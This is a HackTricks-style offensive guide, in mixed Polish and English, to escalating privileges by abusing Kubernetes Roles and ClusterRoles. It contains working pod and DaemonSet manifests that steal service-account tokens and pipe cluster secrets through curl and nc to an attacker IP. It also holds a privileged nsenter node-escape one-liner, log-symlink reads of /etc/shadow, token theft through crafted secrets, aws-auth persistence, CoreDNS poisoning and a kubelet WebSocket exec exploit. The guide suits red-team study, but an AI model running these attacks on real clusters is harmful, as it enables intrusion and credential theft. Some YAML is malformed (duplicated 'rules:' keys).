Nadużywanie Roles/ClusterRoles w Kubernetes
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Tutaj znajdziesz kilka potencjalnie niebezpiecznych konfiguracji Roles i ClusterRoles.
Pamiętaj, że możesz uzyskać listę wszystkich obsługiwanych zasobów za pomocą kubectl api-resources
Privilege Escalation
Odnosząc się do sztuki uzyskania dostępu do innego principal w klastrze o innych uprawnieniach (w obrębie klastra kubernetes lub do zewnętrznych chmur) niż te, które już posiadasz, w Kubernetes zasadniczo istnieją 4 główne techniki eskalacji uprawnień:
- Mieć możliwość impersonate innych user/groups/SAs z wyższymi uprawnieniami w klastrze Kubernetes lub w zewnętrznych chmurach
- Mieć możliwość create/patch/exec pods, w których możesz znaleźć lub attach SAs z wyższymi uprawnieniami w klastrze Kubernetes lub w zewnętrznych chmurach
- Mieć możliwość read secrets, ponieważ tokeny SAs są przechowywane jako secrets
- Mieć możliwość escape to the node z kontenera, gdzie możesz ukraść wszystkie secrets kontenerów działających na node, poświadczenia node oraz uprawnienia node w chmurze, w której działa (jeśli istnieją)
- Piątą techniką wartą wspomnienia jest możliwość run port-forward w pod, ponieważ możesz uzyskać dostęp do interesujących zasobów wewnątrz tego podu.
Access Any Resource or Verb (Wildcard)
The wildcard (*) gives permission over any resource with any verb. It’s used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Dostęp do dowolnego zasobu z określonym verb
W RBAC niektóre uprawnienia niosą poważne ryzyko:
create: Umożliwia tworzenie dowolnego zasobu klastra, co może prowadzić do eskalacji uprawnień.list: Pozwala na listowanie wszystkich zasobów, co może spowodować leak wrażliwych danych.get: Umożliwia dostęp do secrets należących do service accounts, co stanowi zagrożenie bezpieczeństwa.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Atakujący mający uprawnienia do tworzenia podów może dołączyć uprzywilejowany Service Account do poda i ukraść token, aby podszyć się pod ten Service Account, efektywnie eskalując jego uprawnienia.
Przykład poda, który ukradnie token Service Account bootstrap-signer i wyśle go do atakującego:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
Poniżej przedstawiono wszystkie uprawnienia, które może mieć kontener:
- Privileged access (wyłączanie zabezpieczeń i ustawianie uprawnień (capabilities))
- Disable namespaces hostIPC and hostPid które mogą pomóc w eskalacji uprawnień
- Disable hostNetwork namespace, umożliwiając przejęcie uprawnień węzłów w chmurze oraz lepszy dostęp do sieci
- Mount hosts / wewnątrz kontenera
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Utwórz pod za pomocą:
kubectl --token $token create -f mount_root.yaml
One-liner z this tweet i z kilkoma dodatkami:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Teraz, gdy możesz uciec na node sprawdź techniki post-exploitation w:
Stealth
You probably want to be stealthier, w poniższych stronach możesz zobaczyć, do czego miałbyś dostęp jeśli utworzysz pod włączając tylko niektóre z wymienionych uprawnień w poprzednim szablonie:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
Przykłady, jak tworzyć/wykorzystywać powyższe konfiguracje uprzywilejowanych podów znajdziesz w https://github.com/BishopFox/badPods
Pod Create - Move to cloud
Jeśli możesz utworzyć a pod (a opcjonalnie service account) możesz być w stanie uzyskać uprawnienia w środowisku chmurowym poprzez przypisanie cloud roles do poda lub service account i następnie dostęp do nich.
Ponadto, jeśli możesz utworzyć pod z przestrzenią nazw sieci hosta możesz ukraść rolę IAM instancji node.
For more information check:
Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
Można nadużyć tych uprawnień, aby utworzyć nowy pod i eskalować uprawnienia jak w poprzednim przykładzie.
The following yaml creates a daemonset and exfiltrates the token of the SA inside the pod:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec to zasób w kubernetes używany do uruchamiania poleceń w shellu wewnątrz poda. Umożliwia to wykonywanie poleceń wewnątrz kontenerów lub uzyskanie powłoki.
Dlatego możliwe jest dostanie się do poda i kradzież tokena SA, lub wejście do uprzywilejowanego poda, ucieczka na node i kradzież wszystkich tokenów podów na tym node oraz (ab)use node’a:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
Note
Domyślnie polecenie jest wykonywane w pierwszym kontenerze w podzie. Pobierz wszystkie kontenery w podzie za pomocą
kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}', a następnie wskaż kontener, w którym chcesz je uruchomić, używająckubectl exec -it <pod_name> -c <container_name> -- sh
Jeśli to distroless container, możesz spróbować użyć shell builtins, aby uzyskać informacje o kontenerach lub wgrać własne narzędzia, np. busybox, używając: kubectl cp </path/local/file> <podname>:</path/in/container>.
port-forward
To uprawnienie pozwala przekierować jeden lokalny port na jeden port w określonym podzie. Służy to ułatwieniu debugowania aplikacji działających wewnątrz poda, ale atakujący może to nadużyć, aby uzyskać dostęp do interesujących (np. DBs) lub podatnych aplikacji (webs?) wewnątrz poda:
kubectl port-forward pod/mypod 5000:5000
Hosts Writable /var/log/ Escape
As wskazano w tym badaniu, jeśli możesz uzyskać dostęp do poda lub utworzyć poda z zamontowanym katalogiem /var/log/ hosta, możesz uciec z kontenera.
Dzieje się tak, ponieważ gdy Kube-API próbuje pobrać logi kontenera (używając kubectl logs <pod>), żąda ono pliku 0.log poda używając punktu końcowego /logs/ usługi Kubelet.
Usługa Kubelet udostępnia punkt końcowy /logs/, który w praktyce udostępnia system plików /var/log kontenera.
W związku z tym atakujący mający możliwość zapisu w katalogu /var/log/ kontenera może wykorzystać to zachowanie na 2 sposoby:
- Modyfikując plik
0.logswojego kontenera (zwykle znajdujący się w/var/logs/pods/namespace_pod_uid/container/0.log) tak, aby był symlinkiem wskazującym na/etc/shadow, na przykład. Wtedy będziesz w stanie exfiltrate plik shadow hosta wykonując:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Jeśli atakujący kontroluje dowolny principal z uprawnieniami do odczytu
nodes/log, może po prostu utworzyć symlink w/host-mounted/var/log/symwskazujący na/i przy dostępie dohttps://<gateway>:10250/logs/sym/wyświetli system plików root hosta (zmiana symlink może umożliwić dostęp do plików).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Laboratorium i zautomatyzowany exploit można znaleźć na https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Omijanie ochrony readOnly
Jeśli będziesz miał szczęście i wysoce uprzywilejowana capability CAP_SYS_ADMIN jest dostępna, możesz po prostu ponownie zamontować folder jako rw:
mount -o rw,remount /hostlogs/
Omijanie hostPath readOnly protection
Jak stwierdzono w this research, możliwe jest obejście tej ochrony:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Co miało zapobiec ucieczkom podobnym do poprzednich — zamiast użycia hostPath mount użyto PersistentVolume i PersistentVolumeClaim, aby zamontować katalog hosts w kontenerze z dostępem do zapisu:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Podszywanie się pod konta uprzywilejowane
Dysponując uprawnieniem user impersonation, atakujący może podszyć się pod konto uprzywilejowane.
Wystarczy użyć parametru --as=<username> w poleceniu kubectl, aby podszyć się pod użytkownika, lub --as-group=<group> aby podszyć się pod grupę:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Lub użyj REST API:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Listowanie sekretów
Uprawnienie do listowania sekretów może umożliwić atakującemu faktyczny odczyt ich zawartości poprzez dostęp do REST API endpoint:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Tworzenie i odczytywanie Secrets
Istnieje specjalny rodzaj Kubernetes secret typu kubernetes.io/service-account-token, który przechowuje serviceaccount tokens. Jeśli masz uprawnienia do tworzenia i odczytywania secrets i znasz nazwę serviceaccount, możesz utworzyć secret w następujący sposób, a następnie ukraść z niego token serviceaccount ofiary:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Przykład eksploatacji:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
Odczyt secret – brute-forcing token IDs
Chociaż atakujący posiadający token z uprawnieniami do odczytu potrzebuje dokładnej nazwy secret, aby go użyć — w przeciwieństwie do szerszego uprawnienia listing secrets — nadal istnieją luki.
Domyślne service accounts w systemie można wyliczyć, z których każdy jest powiązany z jednym secret. Te secrets mają strukturę nazwy: stały prefiks, po którym następuje losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z source code.
Token jest generowany z ograniczonego zestawu 27 znaków (bcdfghjklmnpqrstvwxz2456789), zamiast pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza liczbę możliwych kombinacji do 14,348,907 (27^5). W konsekwencji atakujący mógłby wykonać atak brute-force w celu odgadnięcia tokena w ciągu kilku godzin, co potencjalnie prowadzi do eskalacji uprawnień przez dostęp do wrażliwych service accounts.
EncrpytionConfiguration w postaci jawnej
W tego typu obiekcie można znaleźć klucze w postaci jawnej do szyfrowania danych w spoczynku, np.:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Żądania podpisania certyfikatu
Jeśli masz uprawnienie create dla zasobu certificatesigningrequests (albo przynajmniej dla certificatesigningrequests/nodeClient), możesz utworzyć nowy CeSR dla nowego node.
Zgodnie z documentation it’s possible to auto approve this requests, w takim przypadku nie potrzebujesz dodatkowych uprawnień. Jeśli nie, będziesz musiał móc zatwierdzić żądanie, co oznacza uprawnienie update do certificatesigningrequests/approval oraz approve w signers z resourceName <signerNameDomain>/<signerNamePath> lub <signerNameDomain>/*
Przykład roli z wszystkimi wymaganymi uprawnieniami to:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Zatem, po zatwierdzeniu nowego node CSR, możesz abuse specjalne uprawnienia węzłów, aby steal secrets i escalate privileges.
W this post oraz this one konfiguracja GKE K8s TLS Bootstrap ma włączone automatic signing i jest abused do wygenerowania poświadczeń nowego K8s Node, które następnie można abuse, aby escalate privileges i steal secrets.
Jeśli masz wspomniane privileges, możesz zrobić to samo. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu node dostęp do secrets wewnątrz kontenerów, ponieważ node can only access the secrets of containers mounted on it.
Sposób obejścia polega po prostu na create a node credentials for the node name where the container with the interesting secrets is mounted (ale sprawdź, jak to zrobić w pierwszym poście):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Podmioty, które mogą modyfikować configmaps w przestrzeni nazw kube-system na klastrach EKS (musi być w AWS) mogą uzyskać uprawnienia administratora klastra przez nadpisanie configmapy aws-auth.
Wymagane operacje to update i patch, lub create jeśli configmap jeszcze nie istnieje:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
Warning
Możesz użyć
aws-authdo persistence, przyznając dostęp użytkownikom z innych kont.Jednak
aws --profile other_account eks update-kubeconfig --name <cluster-name>nie działa z innego konta. Ale w rzeczywistościaws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testingdziała, jeśli podasz ARN klastra zamiast samej nazwy.
Abykubectldziałał, upewnij się, że skonfigurowałeś victims kubeconfig i w aws exec args dodaj--profile other_account_role, dzięki czemu kubectl będzie używał profilu innego konta do pobrania tokena i komunikacji z AWS.
CoreDNS config map
Jeśli masz uprawnienia do modyfikacji coredns configmap w namespace kube-system, możesz zmienić adresy, na które będą rozwiązywane domeny, aby przeprowadzić ataki MitM, których celem będzie kradzież wrażliwych informacji lub wstrzyknięcie złośliwej zawartości.
Wymagane operacje to update i patch na coredns configmap (lub na wszystkich config maps).
Standardowy plik coredns wygląda mniej więcej tak:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
An attacker could download it running kubectl get configmap coredns -n kube-system -o yaml, modify it adding something like rewrite name victim.com attacker.com so whenever victim.com is accessed actually attacker.com is the domain that is going to be accessed. And then apply it running kubectl apply -f poison_dns.yaml.
Another option is to just edit the file running kubectl edit configmap coredns -n kube-system and making changes.
Eskalacja w GKE
There are 2 ways to assign K8s permissions to GCP principals. In any case the principal also needs the permission container.clusters.get to be able to gather credentials to access the cluster, or you will need to generate your own kubectl config file (follow the next link).
Warning
When talking to the K8s api endpoint, the GCP auth token will be sent. Then, GCP, through the K8s api endpoint, will first check if the principal (by email) has any access inside the cluster, then it will check if it has any access via GCP IAM.
If any of those are true, he will be responded. If not an error suggesting to give permissions via GCP IAM will be given.
Then, the first method is using GCP IAM, the K8s permissions have their equivalent GCP IAM permissions, and if the principal have it, it will be able to use it.
The second method is assigning K8s permissions inside the cluster to the identifying the user by its email (GCP service accounts included).
Tworzenie tokena serviceaccounts
Podmioty, które mogą tworzyć TokenRequests (serviceaccounts/token) podczas komunikacji z K8s api endpoint dotyczącym SAs (info from here).
ephemeralcontainers
Podmioty, które mogą update lub patch pods/ephemeralcontainers mogą uzyskać wykonanie kodu w innych podach, a potencjalnie uciec do ich node przez dodanie ephemeral container z privileged securityContext
ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Podmioty mające dowolny z werbów create, update lub patch nad validatingwebhookconfigurations lub mutatingwebhookconfigurations mogą być w stanie utworzyć jedną z takich webhookconfigurations, aby móc eskalować uprawnienia.
For a mutatingwebhookconfigurations example check this section of this post.
Eskalacja
As you can read in the next section: Built-in Privileged Escalation Prevention, a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the verb escalate or * over roles or clusterroles and the respective binding options.
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
Nodes proxy
Podmioty z dostępem do subresource nodes/proxy mogą wykonywać kod w podach via the Kubelet API (according to this). More information about Kubelet authentication in this page:
Kubelet Authentication & Authorization
nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
- Kubelet maps HTTP methods to RBAC verbs before protocol upgrade. WebSocket handshakes must start with HTTP GET (
Connection: Upgrade), so/execover WebSocket is checked as verbgetinstead of the expectedcreate. /exec,/run,/attach, and/portforwardare not explicitly mapped and fall into the defaultproxysubresource, so the authorization question becomescan <user> get nodes/proxy?- If a token only has
nodes/proxy+get, direct WebSocket access to the kubelet onhttps://<node_ip>:10250allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (/api/v1/nodes/<node>/proxy/exec/...) is denied because it is a normal HTTP POST and maps tocreate. - The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
Direct exploit (requires network reachability to the kubelet and a token with nodes/proxy GET):
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
- Użyj adresu IP węzła, nie nazwy węzła. To samo żądanie z
curl -X POSTbędzie zabronione, ponieważ mapuje się nacreate. - Bezpośredni dostęp do kubeleta omija API server, więc AuditPolicy pokazuje tylko
subjectaccessreviewsz user agenta kubeleta i nie loguje poleceńpods/exec. - Wypisz dotknięte service accounts za pomocą detection script, aby znaleźć tokeny ograniczone do
nodes/proxyGET.
Usuwanie pods + ustawianie węzłów jako unschedulable
Podmioty, które mogą usunąć pods (delete verb over pods resource), lub evict pods (create verb over pods/eviction resource), lub zmienić status podów (dostęp do pods/status) i które mogą uczynić inne nodes unschedulable (dostęp do nodes/status) lub usuwać nodes (delete verb over nodes resource) — i mają kontrolę nad pewnym podem — mogą przenieść pody z innych nodes tak, że zostaną one uruchomione na skompromitowanym węźle, a atakujący będzie mógł ukraść tokeny z tych podów.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Services status (CVE-2020-8554)
Podmioty, które mogą modyfikować services/status, mogą ustawić pole status.loadBalancer.ingress.ip, aby wykorzystać nienaprawiony CVE-2020-8554 i uruchomić MiTM attacks na klaster. Większość środków łagodzących dla CVE-2020-8554 zapobiega jedynie ExternalIP services (zgodnie z this).
Nodes and Pods status
Podmioty posiadające uprawnienia update lub patch do nodes/status lub pods/status mogą zmodyfikować etykiety, aby wpłynąć na wymuszane ograniczenia harmonogramowania.
Built-in Privileged Escalation Prevention
Kubernetes ma wbudowany mechanizm zapobiegający eskalacji uprawnień.
System zapewnia, że użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikowanie roles lub role bindings. Egzekwowanie tej zasady odbywa się na poziomie API, zapewniając zabezpieczenie nawet gdy RBAC authorizer jest nieaktywny.
Zasada mówi, że użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola zawiera. Co więcej, zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo ogólnoklastrowy dla ClusterRoles, albo ograniczony do tej samej namespace (lub ogólnoklastrowy) dla Roles.
Warning
Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma czasownik
escalatenadroleslubclusterroles, może zwiększać uprawnienia roles i clusterroles nawet bez posiadania tych uprawnień samodzielnie.
Get & Patch RoleBindings/ClusterRoleBindings
Caution
Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu opisanego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować roleboundingu, aby nadać sobie lub innemu SA pewne uprawnienia, jeśli ich już nie posiadasz.
Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi związać roles z service account. To uprawnienie może prowadzić do eskalacji uprawnień, ponieważ pozwala użytkownikowi przypisać uprawnienia administratora do przejętego service account.
Other Attacks
Sidecar proxy app
Domyślnie komunikacja między podami nie jest szyfrowana. Mutual authentication, two-way, pod to pod.
Create a sidecar proxy app
Kontener sidecar polega na dodaniu drugiego (lub więcej) kontenera wewnątrz poda.
Na przykład, poniżej znajduje się część konfiguracji poda z 2 kontenerami:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
Na przykład, aby backdoor istniejący pod przez dodanie nowego container, możesz po prostu dodać nowy container w specyfikacji. Zauważ, że możesz przyznać więcej uprawnień drugiemu containerowi, których pierwszy nie będzie miał.
Więcej informacji: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Złośliwy Admission Controller
admission controller przechwytuje żądania do Kubernetes API server przed zapisaniem obiektu, ale po uwierzytelnieniu i autoryzacji żądania.
Jeśli atakujący w jakiś sposób zdoła wstrzyknąć Mutation Admission Controller, będzie mógł modyfikować już uwierzytelnione żądania. Może to potencjalnie umożliwić privesc, a częściej pozwolić na utrwalenie się w klastrze.
Przykład z https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Sprawdź status, aby zobaczyć, czy jest gotowy:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Następnie wdroż nowy pod:
kubectl run nginx --image nginx
kubectl get po -w
Gdy zobaczysz błąd ErrImagePull, sprawdź nazwę obrazu za pomocą jednego z zapytań:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Jak widać na powyższym obrazku, próbowaliśmy uruchomić obraz nginx, ale ostatecznie wykonany obraz to rewanthtammana/malicious-image. Co się właśnie stało?!
Szczegóły techniczne
Skrypt ./deploy.sh ustanawia mutating webhook admission controller, który modyfikuje żądania do Kubernetes API zgodnie z wpisami w swojej konfiguracji, wpływając na obserwowane rezultaty:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
Powyższy fragment zastępuje pierwszy obraz kontenera w każdym podzie na rewanthtammana/malicious-image.
OPA Gatekeeper bypass
Kubernetes OPA Gatekeeper bypass
Najlepsze praktyki
